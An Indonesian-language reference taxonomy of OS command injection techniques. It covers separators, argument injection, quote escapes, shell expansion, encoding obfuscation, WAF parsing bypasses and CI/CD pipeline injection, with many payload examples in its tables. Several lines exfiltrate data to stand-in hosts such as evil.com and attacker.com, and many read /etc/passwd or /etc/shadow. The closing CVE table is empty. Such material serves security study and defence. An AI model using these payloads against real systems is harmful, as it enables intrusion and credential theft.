Struktur Klasifikasi

Command injection (CWE-77/CWE-78) mengeksploitasi batas antara data dan instruksi yang dapat dieksekusi dalam interpreter shell sistem operasi. Kerentanan fundamental muncul ketika aplikasi membangun perintah OS dengan menggabungkan input yang dikontrol pengguna dengan string perintah, kemudian meneruskan hasilnya ke shell untuk diinterpretasikan. Sintaks shell yang kaya—metacharacter, mekanisme expansion, aturan quoting, dan interpolasi environment variable—menyediakan permukaan mutasi yang sangat besar yang dieksploitasi oleh attacker untuk keluar dari konteks data dan masuk ke konteks perintah.

Taxonomi ini mengorganisir seluruh permukaan serangan command injection sepanjang tiga sumbu:

Sumbu 1 — Injection Vector (Sumbu utama): Komponen struktural dari interaksi shell yang menjadi target. Ini menentukan mekanisme injeksi—apakah attacker mengeksploitasi command separator, fitur shell expansion, argument parsing, transformasi encoding, perilaku API spesifik bahasa, atau konteks deployment pipeline.

Sumbu 2 — Evasion Type (Sumbu lintas): Sifat dari bypass defense. Setiap mutasi baik mengelak filter spesifik (character blocklist, pembatasan whitespace, konteks quote) atau mengeksploitasi perbedaan parsing antara layer defense dan interpreter shell. Tipe evasi di bawah ini berlaku di semua kategori Sumbu 1:

Evasion TypeMekanismeBerlaku Untuk
Separator SubstitutionMengganti separator yang diblok (;) dengan operator yang setara (|, &&, ||, &, \n)§1
Whitespace EvasionMengganti spasi dengan $IFS, ${IFS}, $IFS$9, tab (%09), brace expansion, redirection <§1, §4, §6
Character Encoding BypassHex (\x2f), octal (\057), URL encoding (%0a), Unicode, base64, ekstraksi substring variable§6
Quote Context EscapeKeluar dari single/double quotes untuk menyuntikkan operator atau substitusi§1, §3, §6
Wildcard/Glob SubstitutionMenggunakan ? dan * untuk merekonstruksi nama command atau path yang diblok§4, §6
Variable Expansion BypassMemanfaatkan substring $PATH, $HOME, $PWD untuk mengekstrak karakter yang diblok§5, §6
Parsing DiscrepancyMengeksploitasi perbedaan antara parsing WAF/filter dan interpretasi backend shell (content-type confusion, multipart boundary mutation, header injection)§8
Context TerminationMenghentikan format data yang diharapkan (nilai JSON, atribut XML, template string) sebelum menyuntikkan sintaks shell§1, §7

Sumbu 3 — Exploitation Scenario (Sumbu pemetaan): Arsitektur deployment dan metode eksfiltrasi data. Detail di bagian Attack Scenario Mapping (§10).


§1. Command Separator & Chaining Operator Injection

Vector injeksi paling fundamental mengeksploitasi shell metacharacter yang menghentikan satu perintah dan memulai perintah lain. Setiap bahasa shell mendefinisikan set operator kontrol yang, ketika disuntikkan ke input yang tidak disanitasi, memungkinkan attacker untuk menambahkan perintah arbitrer ke perintah aplikasi yang dimaksudkan.

§1-1. Sequential Execution Separators

Operator-operator ini menyebabkan shell memperlakukan apa yang mengikutinya sebagai perintah baru yang independen.

SubtypeOperatorMekanismePlatformContoh
Semicolon separator;Menghentikan perintah saat ini, memulai perintah berikutnya. Tidak ada dependensi kondisional.Linux/macOS127.0.0.1; cat /etc/passwd
Newline separator\n / %0aShell menginterpretasikan newline literal sebagai terminator perintah. Sering di-URL-encode sebagai %0a atau disuntikkan via CRLF.Linux/macOS/Windows127.0.0.1%0acat%20/etc/passwd
Null byte termination%00Dalam beberapa implementasi legacy, null byte memotong string perintah, memungkinkan perintah kedua setelah validasi level aplikasi.Sistem legacy127.0.0.1%00; whoami

§1-2. Conditional Execution Operators

Operator-operator ini menggabungkan perintah dengan dependensi logis, sering digunakan ketika aplikasi memeriksa keberhasilan/kegagalan perintah.

SubtypeOperatorMekanismePlatformContoh
AND operator&&Perintah kedua dieksekusi hanya jika yang pertama berhasil (exit code 0). Berguna ketika perintah yang disuntikkan harus mengikuti ping/lookup yang berhasil.Linux/Windows127.0.0.1 && whoami
OR operator||Perintah kedua dieksekusi hanya jika yang pertama gagal. Berguna ketika perintah yang dimaksudkan dirancang untuk gagal atau ketika attacker sengaja menyebabkan kegagalan.Linux/Windowsinvalidhost || whoami

§1-3. Background & Pipe Operators

SubtypeOperatorMekanismePlatformContoh
Background operator&Menjalankan perintah sebelumnya di background, segera mengeksekusi perintah berikutnya. Di Windows, & bertindak sebagai sequential separator.Linux (background) / Windows (sequential)127.0.0.1 & whoami
Pipe operator|Meneruskan stdout dari perintah pertama sebagai stdin dari perintah kedua. Perintah kedua selalu dieksekusi terlepas dari keberhasilan perintah pertama.Linux/Windows127.0.0.1 | whoami

§1-4. Command Substitution as Separator

Command substitution memaksa shell untuk mengeksekusi ekspresi yang tertanam dan menggantinya dengan output, bahkan ketika disuntikkan dalam string yang lebih besar.

SubtypeSintaksMekanismePlatformContoh
Backtick substitution`cmd`Shell mengeksekusi konten antara backtick dan mensubstitusi output. Bekerja di dalam double-quoted strings.Linux/macOS`whoami`
Dollar-parentheses substitution$(cmd)Bentuk modern dari command substitution. Mendukung nesting: $($(cmd)).Linux/macOS$(cat /etc/passwd)
Dollar-brace arithmetic$(( ))Konteks evaluasi aritmatika di bash memungkinkan array indexing dengan command substitution: a[$(cmd)].Linux (bash)$((a[$(whoami)]))

§2. Argument & Option Injection

Kelas command injection yang berbeda yang memerlukan tanpa shell metacharacter. Ketika aplikasi meneruskan input pengguna sebagai argument ke perintah spesifik (via API aman seperti execFile atau spawn), input masih dapat diinterpretasikan sebagai command-line flags jika dimulai dengan - atau --. Ini melewati defense command injection tradisional yang fokus pada filtering metacharacter.

§2-1. Leading Dash Option Injection

Ketika input yang dikontrol pengguna diteruskan sebagai positional argument tetapi dimulai dengan hyphen, target binary menginterpretasikannya sebagai option flag daripada data.

SubtypeTarget BinaryExploitable FlagDampakContoh
Git upload-pack injectiongit clone--upload-pack="cmd"Arbitrary command execution via custom upload-pack binarygit clone --upload-pack="touch /tmp/pwned" repo
Git config injectiongit fetch/diff/log/grep/blame--config=core.sshCommand="cmd"Command execution melalui konfigurasi SSH command gitInput pengguna: --config=core.sshCommand=calc
SSH ProxyCommand injectionssh-oProxyCommand="cmd"Arbitrary command execution sebagai SSH pre-connection hookssh -oProxyCommand="whoami>/tmp/out" host
Curl output injectioncurl-o /path/fileArbitrary file write (webshell upload)Input pengguna: http://evil.com/shell.php -o /var/www/shell.php
Tar arbitrary commandtar--checkpoint-action=exec=cmdCommand execution selama pemrosesan archive--checkpoint=1 --checkpoint-action=exec=id
Chromium GPU launcherchrome/chromium--gpu-launcher="cmd"Arbitrary command execution via renderer process--gpu-launcher="calc.exe"
Mercurial config injectionhg--config=alias.hierarchical=!cmdShell alias execution via configuration override--config=alias.hierarchical=!calc
psql output redirectionpsql-o'|cmd'Pipe query output melalui perintah arbitrer-o'|id>/tmp/out'
Sendmail logfile writesendmail-OQueueDirectory=/tmp -X/var/www/shell.phpArbitrary file write via log redirection-OQueueDirectory=/tmp -X/path/webshell.php
Zip command executionzip-T --unzip-command="cmd"Command execution via custom test command-T --unzip-command="sh -c whoami"
Wget output injectionwget-O /path/fileArbitrary file writeInput pengguna: http://evil.com -O /var/www/shell.php

§2-2. End-of-Options Bypass (--)

Konvensi POSIX menggunakan -- untuk menandakan akhir dari options, setelah itu semua argument diperlakukan sebagai positional. Aplikasi yang gagal memasukkan -- sebelum input pengguna rentan terhadap serangan §2-1. Mitigasi: command -- $user_input.

§2-3. JVM Argument Injection

Ketika input pengguna mencapai Java command-line arguments, flag JVM spesifik memicu code execution:

SubtypeFlagMekanismeKondisi
OnOutOfMemoryError-XX:OnOutOfMemoryError="cmd"JVM mengeksekusi perintah yang ditentukan ketika OOM terjadi. Attacker dapat memaksa OOM via heap exhaustion.Input pengguna mencapai JVM args
JDWP agent-agentlib:jdwp=transport=dt_socket,server=yMembuka debug port untuk remote code executionInput pengguna mencapai JVM startup args

§3. Quote & Context Escape Injection

Ketika input pengguna ditempatkan di dalam konteks yang di-quoted (single quotes, double quotes, template literals), attacker harus terlebih dahulu keluar dari konteks tersebut sebelum menyuntikkan command operator.

§3-1. Single Quote Escape

SubtypeMekanismeContoh
Quote terminationMenyuntikkan ' untuk menutup konteks single-quote, kemudian menambahkan command operator'; whoami; '
Quote-backslash-quote-quoteDi bash, '\'' menghentikan single quote, menyisipkan literal ' via \', kemudian membuka kembali single quote. Digunakan untuk menyuntikkan dalam konteks single-quoted tanpa merusak sintaks luar.input'\''$(whoami)'\''rest

§3-2. Double Quote Escape

SubtypeMekanismeContoh
Quote terminationMenyuntikkan " untuk menutup konteks double-quote, kemudian menggabungkan perintah"; whoami; "
Command substitution within quotesDouble quotes mengizinkan expansion $() dan backtick. Jika input ditempatkan dalam double quotes tanpa escaping $, command substitution dieksekusi.Hello $(whoami) di dalam "user_input"

§3-3. Template Literal Escape (JavaScript/Node.js)

SubtypeMekanismeContoh
Backtick escapeJika input ditempatkan dalam JavaScript template literal (`...`), menyuntikkan backtick menutup template, memungkinkan code injection.`; process.exit()`
Expression interpolation${...} di dalam template literals mengevaluasi ekspresi JavaScript. Jika input pengguna mencapai template yang diteruskan ke exec(), arbitrary code dieksekusi.${require('child_process').execSync('whoami')}

§3-4. Context Termination in Structured Formats

Ketika konstruksi perintah melibatkan structured data (JSON, XML, YAML), attacker menghentikan format data sebelum menyuntikkan sintaks shell.

SubtypeMekanismeContoh
JSON value breakoutMenutup nilai string JSON dan object, kemudian menambahkan perintah shell setelah JSON yang di-parse"}}; whoami #
XML/CDATA breakoutMenutup XML CDATA atau konteks atribut, menyuntikkan perintah via processing instructions atau entity expansion]]>; whoami

§4. Shell Expansion & Globbing Exploitation

Shell melakukan multiple expansion pass sebelum mengeksekusi perintah. Setiap tipe expansion menyediakan permukaan mutasi untuk membangun perintah tanpa mengetik karakter yang diblok atau nama perintah secara langsung.

§4-1. Brace Expansion

Bash mengexpand nilai yang dipisahkan koma dalam braces menjadi kata-kata terpisah. Ini memungkinkan konstruksi perintah tanpa spasi.

SubtypeMekanismeContoh
Command-as-brace{cmd,arg1,arg2} mengexpand menjadi cmd arg1 arg2, melewati filter spasi{cat,/etc/passwd}
Sequence expansion{a..z} menghasilkan urutan karakter; dapat digunakan untuk merekonstruksi karakter yang difilter{/,e,t,c,/,p,a,s,s,w,d} dengan concatenation

§4-2. Wildcard & Glob Substitution

Wildcard memungkinkan matching filename tanpa mengetik path lengkap, memungkinkan konstruksi perintah dari entri filesystem.

SubtypeMekanismePlatformContoh
Question mark glob? cocok dengan karakter tunggal apa pun. Digunakan untuk mengeja binary dari filesystem: /???/??t /???/??????/bin/cat /etc/passwdLinux/???/???/??????/usr/bin/whoami
Asterisk glob* cocok dengan urutan apa pun. Dikombinasikan dengan partial paths: /bin/c*t /etc/p*Linux/Windows/bin/c*t /etc/pass*
Windows wildcardC:\*\*2\n??e*d.*? cocok dengan path PowerShell atau cmd melalui wildcard expansionWindowsC:\*\*2\n??e*d.*?
Charset glob[a-z] cocok dengan rentang karakter. Dapat merekonstruksi nama perintah karakter demi karakter.Linux/bin/[c]at /etc/passwd

§4-3. Tilde Expansion

SubtypeMekanismeContoh
Home directory~ mengexpand ke $HOME. ~user mengexpand ke home directory user lain.cat ~/.bashrc
Current directory~+ mengexpand ke $PWD~+/exploit.sh
Previous directory~- mengexpand ke $OLDPWD~-/exploit.sh

§4-4. Process Substitution

SubtypeMekanismeContoh
Input process substitution<(cmd) membuat named pipe dengan output perintah. Dapat memberi data ke perintah yang mengharapkan file argument.diff <(cat /etc/passwd) <(cat /etc/shadow)
Output process substitution>(cmd) membuat named pipe sebagai target outputecho data > >(tee /tmp/exfil)

§5. Environment Variable Manipulation

Environment variable adalah sumber karakter, path, dan nilai yang kaya yang dapat dimanfaatkan attacker untuk merekonstruksi perintah yang diblok dan melewati filter.

§5-1. IFS (Internal Field Separator) Exploitation

Variable $IFS default ke space-tab-newline. Ketika spasi diblok, $IFS berfungsi sebagai substitusi whitespace universal.

SubtypeMekanismeContoh
Basic IFS substitution$IFS mengexpand ke spasi, memisahkan perintah dari argumentcat${IFS}/etc/passwd
IFS with positional$IFS$9 menggabungkan IFS dengan positional parameter ke-9 (biasanya kosong), menghasilkan separator yang lebih bersihcat$IFS$9/etc/passwd
IFS redefinitionMengatur IFS=; menyebabkan semicolon dalam input selanjutnya diperlakukan sebagai field separator daripada command terminator (penggunaan defensif); sebaliknya, mengatur IFS ke nilai lain dapat mengubah parsingIFS=,;cmd,arg

§5-2. Variable Substring Extraction

Karakter yang diblok oleh filter dapat diekstrak dari nilai environment variable yang ada.

SubtypePlatformMekanismeContoh
Bash substringLinux${VAR:offset:length} mengekstrak karakter. ${PATH:0:1} biasanya menghasilkan /. ${HOME:0:1} menghasilkan /.cat ${HOME:0:1}etc${HOME:0:1}passwd
CMD substringWindows%VAR:~start,length% mengekstrak karakter. %PROGRAMFILES:~10,1% mengekstrak spasi dari “C:\Program Files”.ping%PROGRAMFILES:~10,1%127.0.0.1
PowerShell indexingWindows$env:VAR[index] mengekstrak karakter. $env:HOMEPATH[0] menghasilkan \.$env:PROGRAMFILES[10] (spasi)

§5-3. Multi-Variable Command Construction

Seluruh perintah dapat dirakit dari fragmen multiple environment variable, menghindari deteksi berbasis pattern.

SubtypePlatformMekanismeContoh
Distributed assembly (Linux)LinuxMenggabungkan substring: ${PATH:5:1}${HOME:3:1}... untuk mengeja nama perintaha]=${PATH:0:1};${a]}{b}{i}{n}${a]}{c}{a}{t} ${a]}{e}{t}{c}${a]}{p}{a}{s}{s}{w}{d}
Distributed assembly (Windows)WindowsMenggabungkan fragmen %VAR:~x,y% di multiple env var%PROGRAMFILES:~3,1PROGRAMFILES:~6,1%gri

§5-4. PATH Hijacking & LD_PRELOAD Injection

Ketika aplikasi atau child process mengandalkan unqualified command names, attacker memanipulasi search path.

SubtypeMekanismeKondisiContoh
PATH prependingMengatur PATH=/tmp:$PATH dan menempatkan malicious binary di /tmp/lsAttacker mengontrol environment variable (env injection, .env file write)export PATH=/tmp:$PATH kemudian trigger pemanggilan ls
LD_PRELOAD injectionMengatur LD_PRELOAD=/path/to/evil.so untuk hook library function dalam proses yang akan di-spawn berikutnyaTarget non-setuid; attacker mengontrol env varsLD_PRELOAD=/tmp/evil.so /usr/bin/target
LD_LIBRARY_PATHMengarahkan shared library search ke direktori yang dikontrol attackerTarget non-setuidLD_LIBRARY_PATH=/tmp /usr/bin/target
PYTHONPATH / NODE_PATHMenyuntikkan malicious module dengan prepending ke module path spesifik bahasaLanguage runtime menggunakan env-based module resolutionPYTHONPATH=/tmp python3 target.py

§6. Encoding & Character Obfuscation

Kategori ini mencakup teknik yang mentransformasi representasi payload tanpa mengubah makna semantiknya ke shell, melewati defense berbasis signature dan pattern-matching.

§6-1. Hexadecimal & Octal Encoding

SubtypePlatformMekanismeContoh
Echo hexLinuxecho -e "\x63\x61\x74" decode ke cat. Di-pipe ke sh atau digunakan via $()$(echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
Printf octalLinuxprintf '\143\141\164' decode ke cat$(printf '\143\141\164\40\57\145\164\143\57\160\141\163\163\167\144')
xxd reverseLinuxxxd -r -p mengkonversi hex stream kembali ke binaryecho 636174202f6574632f706173737764 | xxd -r -p | sh
Dollar-quote ANSI-CLinux (bash)$'\x63\x61\x74' menginterpretasikan hex escapes dalam dollar-quoted strings$'\x63\x61\x74' $'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

§6-2. Base64 Encoding

SubtypePlatformMekanismeContoh
Base64 decode pipeLinuxecho "payload" | base64 -d | shecho Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
PowerShell encoded commandWindowspowershell -EncodedCommand <base64> menerima perintah yang di-encode UTF-16LEpowershell -e dwBoAG8AYQBtAGkA

§6-3. URL & Double Encoding

SubtypeMekanismeContoh
URL encodingEncoding %XX dari metacharacter. %0a (newline), %3b (semicolon), %7c (pipe)127.0.0.1%0a%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64
Double URL encoding%25XX → decode ke %XX → decode ke karakter. Melewati pattern decode-then-filter single-pass%250a%0a → newline
Unicode encodingEncoding %uXXXX untuk melewati filter ASCII-only%u003B;

§6-4. Quote-Based Obfuscation

Menyisipkan quotes dalam nama perintah tidak mengubah eksekusi tetapi merusak signature matching.

SubtypePlatformMekanismeContoh
Empty single quotesLinuxPasangan single quotes di-strip oleh shell: w'h'o'am'iwhoamic'a't /e't'c/p'a's's'w'd
Empty double quotesLinuxPrinsip yang sama: w"h"o"am"iwhoamic"a"t /e"t"c/p"a"s"s"w"d
Backslash insertionLinuxBackslash sebelum karakter non-spesial diabaikan: w\ho\am\iwhoamic\at /e\tc/p\as\sw\d
Caret insertionWindows^ adalah karakter escape CMD dan di-strip dari perintah: w^h^o^a^m^iwhoamip^o^w^e^r^s^h^e^l^l
Backtick insertionLinuxBacktick berpasangan yang berisi nothing: whoami “ → whoami cat /etc/passwd “
Dollar-at insertionLinux$@ mengexpand ke nothing (tidak ada positional parameter): who$@amiwhoamic$@at /etc/passwd

§6-5. Case Manipulation

SubtypePlatformMekanismeContoh
Windows case insensitivityWindowsCMD dan PowerShell mengabaikan case: WhOaMi, WHOAMI semua dieksekusiwHoAmI
Bash case conversionLinux${var^^} (uppercase) dan ${var,,} (lowercase) dapat mentransformasi nilai variable yang diobfuscasi ke nama perintaha]="WHOAMI";${a],,}
tr/sed transformationLinuxPipe character transformations: echo "jdunfhj" | tr 'a-z' 'b-a' → shift cipherecho "b\x61t" | tr 'b' 'c'cat

§6-6. String Concatenation & Reassembly

SubtypePlatformMekanismeContoh
Variable concatenationLinuxa=c;b=at;$a$b /etc/passwda=who;b=ami;$a$b
SET concatenationWindowsset a=who&set b=ami&%ab%
Reversed commandLinuxecho "dssap/cte/ tac" | rev | shSimpan perintah terbalik, pipe melalui rev
Split and reassembleLinux/WindowsMemecah perintah di multiple variable/barisan, rekonstruksi saat eksekusiMulti-line payload dengan eval akhir

§6-7. Line Continuation & Whitespace Tricks

SubtypePlatformMekanismeContoh
Backslash-newline continuationLinuxBackslash di akhir baris melanjutkan ke baris berikutnya, memungkinkan split di tengah kataca\(newline)t /et\(newline)c/passwd
Tab substitutionLinuxKarakter tab (\t, %09) berfungsi sebagai alternatif whitespacecat%09/etc/passwd
Input redirection as spaceLinux< dapat menggantikan spasi untuk file argument: cat</etc/passwdcat</etc/passwd

§7. Language & Runtime-Specific Injection Sinks

Bahasa pemrograman berbeda mengekspos eksekusi perintah OS melalui berbagai API dengan karakteristik safety yang berbeda. Permukaan injeksi bergantung pada apakah API memanggil shell atau meneruskan argument langsung ke kernel.

§7-1. Shell-Invoking APIs (Dangerous by Default)

Fungsi-fungsi ini meneruskan seluruh string perintah ke interpreter shell (/bin/sh -c di Linux, cmd /c di Windows), membuatnya rentan terhadap semua teknik §1–§6 ketika input pengguna digabungkan.

BahasaFungsi BerbahayaShell DigunakanCatatan
PHPsystem(), exec(), shell_exec(), passthru(), popen(), proc_open(), backtick operator (`cmd`)/bin/sh -cescapeshellarg() dan escapeshellcmd() memberikan mitigasi parsial tetapi memiliki bypass yang diketahui
Pythonos.system(), os.popen(), subprocess.call/run/Popen(shell=True)/bin/sh -csubprocess dengan shell=False (default) aman untuk §1 tetapi rentan terhadap §2
Rubysystem("string") (single-arg), backticks, %x{}, exec("string"), IO.popen()/bin/sh -cBentuk multi-arg system("cmd", "arg") menghindari shell
Node.jschild_process.exec(), child_process.execSync()/bin/sh -cSelalu memanggil shell; execFile dan spawn (default shell:false) lebih aman
JavaRuntime.exec(String[]) dengan shell eksplisit: {"sh","-c",input}/bin/sh -c (eksplisit)Bentuk single-string Runtime.exec(String) TIDAK memanggil shell (tokenisasi pada whitespace), tetapi Runtime.exec(new String[]{"/bin/sh","-c",input}) secara eksplisit memanggil shell
Perlsystem("string"), backticks, open(FH, "|cmd"), exec("string")/bin/sh -cBentuk list system("cmd", @args) melewati shell
Goexec.Command("sh", "-c", input)Shell eksplisitexec.Command("binary", args...) aman terhadap §1; programmer harus memilih dengan benar

§7-2. PHP-CGI Specific: CVE-2024-4577

Kerentanan kritis dalam PHP yang berjalan dalam mode CGI di Windows. Windows “Best-Fit” character mapping mengkonversi karakter Unicode tertentu (misalnya, soft hyphen 0xAD) ke equivalent ASCII (-), memungkinkan attacker untuk menyuntikkan PHP command-line arguments bahkan ketika aplikasi memfilter ASCII hyphens. Ini memungkinkan injeksi -d allow_url_include=1 -d auto_prepend_file=php://input untuk arbitrary code execution.

§7-3. Safe-by-Default APIs (Vulnerable to §2 Only)

BahasaFungsi Lebih AmanMekanismeRisiko Residual
Pythonsubprocess.Popen(["cmd", "arg1", "arg2"])Argument diteruskan sebagai array langsung ke execvp(), tanpa interpretasi shellArgument injection (§2) jika input pengguna adalah elemen pertama atau dimulai dengan -
Node.jschild_process.execFile(), spawn() dengan default shell: falsePanggilan execvp() langsungArgument injection (§2); mengatur shell: true memperkenalkan kembali semua risiko
Rubysystem("cmd", "arg1", "arg2") (multi-arg)Panggilan execvp() langsungArgument injection (§2)
Goexec.Command("cmd", "arg1", "arg2")Panggilan execvp() langsungArgument injection (§2)
JavaProcessBuilder(List<String>)Pembuatan proses langsungArgument injection (§2)

§7-4. Eval-to-Shell Chains

Beberapa path injeksi mencapai perintah OS melalui intermediate code evaluation layer.

ChainMekanismeContoh
SSTI → OS commandServer-Side Template Injection mencapai fungsi template yang memanggil system commandJinja2: {{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
Expression injection → shellExpression languages (Spring EL, OGNL, MVEL) menyediakan akses OS commandSpring EL: ${T(Runtime).getRuntime().exec("whoami")}
Deserialization → execDeserialization gadget chain memanggil Runtime.exec() atau equivalentJava: Commons Collections gadget chain → Runtime.exec()
SQL injection → xp_cmdshellStored procedure SQL Server xp_cmdshell mengeksekusi perintah OS'; EXEC xp_cmdshell 'whoami'; --

§7-5. Windows Batch/CMD Argument Escaping Bypass (BatBadBut)

Kelas kerentanan (CERT VU#123335) di mana API “Safe-by-Default” §7-3 menjadi eksploitable di Windows. Ketika array-based process creation API memanggil file .bat atau .cmd, Windows secara implisit memanggil cmd.exe untuk menangani batch file. Language runtime meng-escape argument menggunakan konvensi backslash (dirancang untuk execvp()), tetapi cmd.exe menggunakan caret (^) sebagai karakter escape-nya — menciptakan parsing discrepancy yang memungkinkan argument injection yang meningkat ke arbitrary command execution.

BahasaAPI TerdampakStatus PatchCVE
Ruststd::process::CommandPatchedCVE-2024-24576 (CVSS 10.0)
Node.jschild_process.spawn/execFilePatched
PHPproc_open (array form)Patched
Haskellprocess libraryPatched
Pythonsubprocess.Popen(shell=False)Hanya update dokumentasi
Rubysystem("cmd", "arg") (multi-arg)Hanya update dokumentasi
Goexec.CommandHanya update dokumentasi
JavaProcessBuilderWon’t fix
Erlangos:cmdHanya update dokumentasi

Kondisi eksploitasi: Aplikasi harus (1) berjalan di Windows, (2) memanggil file .bat/.cmd — atau menghilangkan extension sementara .bat dengan nama yang sama ada di PATHEXT — via API array-based, dan (3) meneruskan input yang dikontrol pengguna sebagai argument. Bahkan escaping caret yang naif dapat di-bypass via ekstraksi substring variable %CMDCMDLINE% dari cmd.exe, yang merekonstruksi karakter yang tidak di-escape saat runtime.


§8. WAF & Filter Bypass via Parsing Discrepancy

Di luar obfuscation level payload (§6), attacker dapat memanipulasi struktur request untuk menyebabkan WAF mem-parse request secara berbeda dari aplikasi backend, memungkinkan payload yang tidak dimodifikasi untuk melewati WAF sambil diinterpretasikan dengan benar oleh aplikasi.

§8-1. Content-Type Confusion

SubtypeMekanismeContoh
Multipart boundary mutationMemodifikasi karakter boundary multipart/form-data (menambahkan whitespace, quotes, atau karakter spesial) menyebabkan WAF salah mem-parse body boundary sementara backend framework menanganinya dengan benarBoundary dengan embedded CRLF atau extra whitespace
JSON structural mutationMenambahkan duplicate keys, Unicode escapes dalam nama key, atau struktur nested menyebabkan WAF mengevaluasi nilai yang berbeda dari parser backend{"cmd":"safe", "cmd": "127.0.0.1; whoami"}
XML namespace injectionMenambahkan XML namespaces atau processing instructions menyebabkan WAF melewati konten yang diproses oleh XML parser backendCDATA sections dengan command payload
Content-Type mismatchMengirim body dengan satu Content-Type sementara backend framework menerima yang lain (misalnya, WAF mengharapkan application/json, backend auto-detects multipart/form-data)Content-Type header yang tidak cocok

§8-2. Header-Based Injection

SubtypeMekanismeContoh
Non-standard header injectionWAF terutama memeriksa URL parameter dan POST body. Payload dalam User-Agent, Referer, X-Forwarded-For, atau custom header dapat melewati inspeksi sambil dikonsumsi oleh backend logging atau fungsi pemrosesanUser-Agent: ; cat /etc/passwd ketika UA di-log via shell
CRLF header injectionMenyuntikkan \r\n ke dalam nilai header untuk menambahkan header tambahan atau memulai HTTP request baru, berpotensi mencapai endpoint backend yang berbeda\r\nX-Injected: malicious_value

§8-3. Request Structure Mutation (Teknik WAFFLED)

Penelitian mendemonstrasikan 1,207 bypass di AWS WAF, Azure WAF, Cloud Armor, Cloudflare, dan ModSecurity dengan memutasi elemen non-payload dari HTTP request. Target mutasi utama meliputi:

SubtypeMekanismeWAF Terdampak
Multipart field orderingMengurutkan ulang field multipart untuk menempatkan payload setelah inspection window WAFAWS, Cloudflare
Charset declarationMendeklarasikan charset yang tidak biasa dalam Content-Type menyebabkan WAF salah menginterpretasikan body encodingModSecurity, Cloud Armor
Chunked encodingMenggunakan Transfer-Encoding: chunked untuk memecah payload di beberapa chunkMultiple WAFs
Duplicate parametersHTTP Parameter Pollution (HPP): mengirim parameter yang sama beberapa kali dengan payload dalam instance yang tidak diinspeksi WAFBackend-dependent

§9. CI/CD & Pipeline Command Injection

Permukaan serangan yang berkembang pesat di mana command injection terjadi bukan dalam input aplikasi web tradisional tetapi dalam definisi build/deploy pipeline, file konfigurasi, dan automation workflow.

§9-1. GitHub Actions Expression Injection

SubtypeMekanismeKondisiContoh
Direct expression interpolation${{ github.event.issue.title }} dalam step run: langsung disubstitusi ke shell command sebelum eksekusi. Issue/PR title yang dikontrol attacker menyuntikkan perintah arbitrer.Workflow menggunakan ${{ }} dalam block run: dengan konteks untrustedIssue title: "; curl evil.com/steal?token=$GITHUB_TOKEN #
GITHUB_ENV injectionMenulis ke $GITHUB_ENV mengatur environment variable untuk step selanjutnya. Jika attacker mengontrol input yang menulis ke file ini, mereka menyuntikkan env var arbitrer termasuk PATH atau variable yang dikonsumsi script.Workflow menulis input untrusted ke $GITHUB_ENVecho "PATH=/tmp/evil:$PATH" >> $GITHUB_ENV
Composite action injectionThird-party Actions yang secara internal menggunakan ${{ inputs.* }} dalam shell command tanpa quoting mempropagasi injeksi dari caller workflowMenggunakan Actions untrusted dengan input yang dikontrol penggunaMalicious input via Action parameter

§9-2. General CI/CD Injection Patterns

SubtypePlatformMekanismeContoh
Jenkinsfile injectionJenkinsPipeline script (Jenkinsfile) yang menggunakan string interpolation dalam step sh dengan parameter yang dikontrol pengguna (branch names, build parameters, commit messages)sh "git checkout ${params.BRANCH}" dengan branch name ; whoami
GitLab CI variable injectionGitLabVariable dari merge request metadata (title, description) digunakan dalam script blocksscript: echo "${CI_MERGE_REQUEST_TITLE}"
Makefile injectionAnyBuild target yang menggunakan $(shell ...) atau backtick substitution dengan input yang dikontrol pengguna (filenames, env vars)Filename containing $(shell whoami)
Docker build-arg injectionDockerNilai ARG digunakan dalam command RUN tanpa quotingdocker build --build-arg CMD="&& whoami"

§9-3. Supply Chain Command Injection

SubtypeMekanismeDampak
Malicious package install scriptsnpm postinstall, pip setup.py, Ruby gem extension mengeksekusi perintah arbitrer selama instalasi packageDeveloper machine atau CI runner compromise
Git hook injectionScript .git/hooks/ yang malicious mengeksekusi pada clone, commit, atau push operationPersistent backdoor level repository
Dependency confusionNama package internal diklaim pada public registry dengan command injection dalam install scriptsAutomated CI systems menginstal malicious package

§10. Attack Scenario Mapping (Sumbu 3)

Bagian ini memetakan teknik injeksi ke skenario eksploitasi berdasarkan kemampuan eksfiltrasi data dan konteks arsitektural.

§10-1. By Exfiltration Method

SkenarioMekanismeTeknik yang DiperlukanKesulitan
Result-based (direct output)Output perintah muncul dalam HTTP response§1 + separator apa pun; output digabungkan ke responseRendah
Error-basedOutput perintah muncul dalam error message§1 + trigger application error yang mengandung outputRendah–Sedang
Blind time-basedInfer hasil character-by-character via response delay§1 + kondisional: if [ $(whoami|cut -c 1) = r ]; then sleep 5; fiSedang
Blind file-basedMenulis output ke file yang dapat diakses web, kemudian retrieve via HTTP§1 + > /var/www/html/output.txt; retrieve via browserSedang
Out-of-band DNSEksfiltrasi data sebagai DNS subdomain queries§1 + nslookup `whoami`.attacker.com atau $(whoami).evil.comSedang
Out-of-band HTTPEksfiltrasi data via HTTP request ke server attacker§1 + curl http://evil.com/?d= $(cat /etc/passwd|base64)Sedang
Argument injection (no metacharacters)Mengeksploitasi flag spesifik binary tanpa shell operator§2 only; tidak perlu separatorBervariasi

§10-2. By Architectural Context

SkenarioArsitekturVector UtamaJalur Eskalasi
Web application RCEWeb app PHP/Python/Node.js/Ruby dengan shell call§1, §3, §6, §7Web shell → lateral movement
Network device compromiseRouter/firewall/switch CLI interface§1, §3 (sering shell terbatas)Device takeover → network pivot
Container escapeAplikasi dalam Docker/K8s pod§1, §5, §7Pod RCE → node compromise via mounted socket/service account
Cloud metadata theftAplikasi dengan SSRF chaining ke command injection§1 → SSRF (§7-4) atau §1 + curl 169.254.169.254IAM credential theft → cloud account takeover
CI/CD pipeline compromiseGitHub Actions / Jenkins / GitLab CI§9Secret exfiltration → supply chain poisoning
IoT/embedded deviceFirmware web interface, UART/serial§1, §6 (shell tool terbatas)Device takeover → botnet enrollment
Desktop applicationElectron app, CLI tool yang memroses input untrusted§1, §2, §7User-level code execution → privilege escalation

§11. CVE / Bounty Mapping (2023–2025)

Kombinasi MutasiCVE / KasusProdukDampak / Bounty
